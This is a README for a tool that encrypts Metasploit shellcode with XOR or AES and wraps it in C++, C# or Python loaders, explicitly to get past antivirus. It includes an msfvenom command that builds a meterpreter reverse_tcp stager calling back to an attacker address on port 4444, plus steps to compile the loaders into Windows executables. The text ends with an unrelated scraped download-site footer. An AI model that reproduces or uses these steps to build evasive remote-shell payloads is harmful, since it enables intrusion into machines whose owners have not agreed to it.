Mutlibyte XOR or AES encrypted shellcode
============
Author: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x)
These little proof of concept are inspired by this blogpost: [Bypass antivirus with 10 lines of code](http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html)
The technique uses two kind of code file:
1. The shellcode encoder/encrypter: `shellcode_encoder.py`
2. Various shellcode wrapper, in C++, C# and Python:
- `encryptedShellcodeWrapper.cpp` - for now supports **only** XOR encryption
- `encryptedShellcodeWrapper.cs` - supports both XOR and AES encryption
- `encryptedShellcodeWrapper.py` - supports both XOR and AES encryption
Installation
----------------------
Installation is straight forward:
* Git clone this repository: `git clone https://github.com/Arno0x/ShellcodeWrapper ShellcodeWrapper`
* cd into the ShellcodeWrapper folder: `cd ShellcodeWrapper`
* Install requirements using `pip install -r requirements.txt`
* Give the execution rights to the main script: `chmod +x shellcode_encoder.py`
Usage
----------------------
First, you need to obtain a usable shellcode from metasploit (*run it from a Kali distribution*), for example:
```
root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
```
In this example, the output is a raw (*unencoded & unencrypted*) reverse_tcp meterpreter stager for x86 platform. You should adapt it to your needs (*payload and parameters*).
Second, run the `shellcode_encoder.py` script along with the desired arguments:
- raw shellcode filename
- encryption key
- encryption type: `xor` or `aes`
- desired output: `base64`, `cpp`, `csharp`, `python`
For instance, to xor encrypt the shellcode with the key '*thisismykey*' and get an output code file in C#, C++ and Python:
```
root@kali:~# ./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor
```
This will generate C#, C++ and Python code file in the `result` folder. Those files are ready to use/compile.
Eventually:
1. For the C++ wrapper, compile the C++ code file into a Windows executable: you can create a new VisualStudio project for **Win32 console application** and use the C++ code provided as the main file. Any other method of compilation will require slight adjustment of the C++ code (headers mostly).
2. For the C# wrapper, compile the C# code file into a Windows executable:
`C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:multibyteEncodeShellcode.exe multibyteEncodeShellcode.cs`
3. For the Python wrapper, just run it as a python script, or use PyInstaller to make it a Windows standalone executable
快撑死的鱼
- 粉丝: 2w+
- 资源: 9156
最新资源
- 使用归一化互信息对图像进行刚性(平移和旋转)自动配准Maatlab代码.rar
- 使用各向异性扩散过滤进行高级 2D_3D 噪声去除和边缘增强 ( Weickert )Matlab代码.rar
- wqeqweqeqwe
- igh ethercat kingseng robottt
- 学习threejs,导入babylon格式的模型
- 听力提升播客《Listening Time》第1集:英语学习者的听力训练指南
- CDN:加速全球互联网内容的关键技术及其应用场景与未来趋势
- 使用最佳 Gamma 校正和加权和进行图像对比度增强亮度保留Matlab代码.rar
- 使用自定义组织回声图模拟伪 B 型超声图像Matlab代码.rar
- 使用中等光谱相关性和一致的边缘图进行联合去马赛克和缩放Matlab代码.rar
- 使用坐标信息进行 3D 重建Matlab代码.rar
- 适用于 MATLAB 的简单图像堆栈可视化工具MATLAB代码.rar
- 适用于 MATLAB 的 Elastix 包装器Matlab代码.rar
- 数字图像的插值Matlab代码.rar
- 它读取 3D 原始图像并显示原始体积图像的中间横截面MATLAB代码.rar
- 手术前后的整形手术Matlab代码.rar
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈